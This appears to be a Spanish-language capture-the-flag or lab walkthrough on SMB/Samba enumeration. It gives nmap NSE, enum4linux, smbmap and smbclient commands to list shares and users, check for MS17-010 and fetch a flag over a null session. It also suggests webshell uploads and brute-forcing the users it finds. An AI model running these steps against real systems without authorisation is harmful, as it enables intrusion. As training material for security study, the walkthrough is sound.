📥 ¿Qué es SMB/Samba y por qué es un objetivo prioritario?
SMB (Server Message Block) es el protocolo de Windows para compartir archivos, impresoras y otros recursos en red. Samba es la implementación de SMB para Linux/Unix, que permite interoperabilidad entre sistemas.
SMB opera principalmente en los puertos 445/TCP (SMB directo) y 139/TCP (NetBIOS). Ha sido el vector de ataques devastadores como EternalBlue (MS17-010) y NotPetya.
Null session: en configuraciones antiguas o mal configuradas, SMB permite conexiones sin credenciales que revelan usuarios, grupos, shares y polÃticas de contraseñas.
Herramientas de enumeración SMB
| Herramienta | Función |
|---|---|
| nmap NSE | Scripts smb-* para OS, shares, usuarios y vulnerabilidades |
| enum4linux | Todo-en-uno: usuarios, grupos, shares, polÃticas, workgroup |
| smbmap | Vista rápida de shares y permisos (lectura/escritura) |
| smbclient | Cliente interactivo para navegar y descargar archivos de shares |
| crackmapexec | Alternativa moderna y potente para enumeración SMB |
🔧 Comandos del laboratorio
1. Identificación del objetivo
bash
cat /root/Desktop/target
2. Escaneo de puertos SMB
bash
nmap -sS -sV <IP>
3. Enumeración SMB con scripts NSE
bash — sistema operativo y hostname
nmap --script smb-os-discovery -p 445 <IP>
bash — recursos compartidos
nmap --script smb-enum-shares -p 445 <IP>
bash — usuarios del sistema
nmap --script smb-enum-users -p 445 <IP>
bash — comprobar MS17-010
nmap --script smb-vuln-ms17-010 -p 445 <IP>
4. Enumeración completa con enum4linux
enum4linux es la herramienta clásica para enumeración SMB. El flag -a ejecuta todas las comprobaciones disponibles.
bash
enum4linux -a <IP>
5. Mapeo de recursos con smbmap
bash — sin credenciales (null session)
smbmap -H <IP>
bash — con credenciales
smbmap -H <IP> -u <usuario> -p <contraseña>
6. Acceso interactivo con smbclient
bash — listar shares disponibles
smbclient -L //<IP> -N
bash — conectar a un share
smbclient //<IP>/<share> -N
bash — dentro de smbclient: descargar flag
ls
get flag.txt
bye
bash — leer la flag
cat flag.txt
🗼 Flujo del ataque
1
ReconocimientoConfirmar SMB activo en 445/TCP y 139/TCP.
2
Enumeración NSEsmb-os-discovery, smb-enum-shares, smb-enum-users.
3
Enumeración completaenum4linux -a para obtener usuarios, grupos y polÃticas.
4
Mapeo de permisossmbmap para identificar shares con acceso de lectura/escritura.
5
Acceso a recursossmbclient para navegar y descargar archivos.
6
ObjetivoDescargar y leer la flag.
🎯 ¿Qué buscar? — Indicadores de éxito
- Null session permitida → enumeración completa sin credenciales.
- Share
IPC$accesible → punto de entrada para enumeración adicional. - Shares con permisos de escritura → posible subida de archivos o webshells.
- SMB en Windows XP/2003/7 → alta probabilidad de ser vulnerable a EternalBlue.
- Usuarios encontrados → candidatos para fuerza bruta en otros servicios (SSH, RDP).
- PolÃtica de contraseñas débil (longitud mÃnima = 0) → facilita fuerza bruta.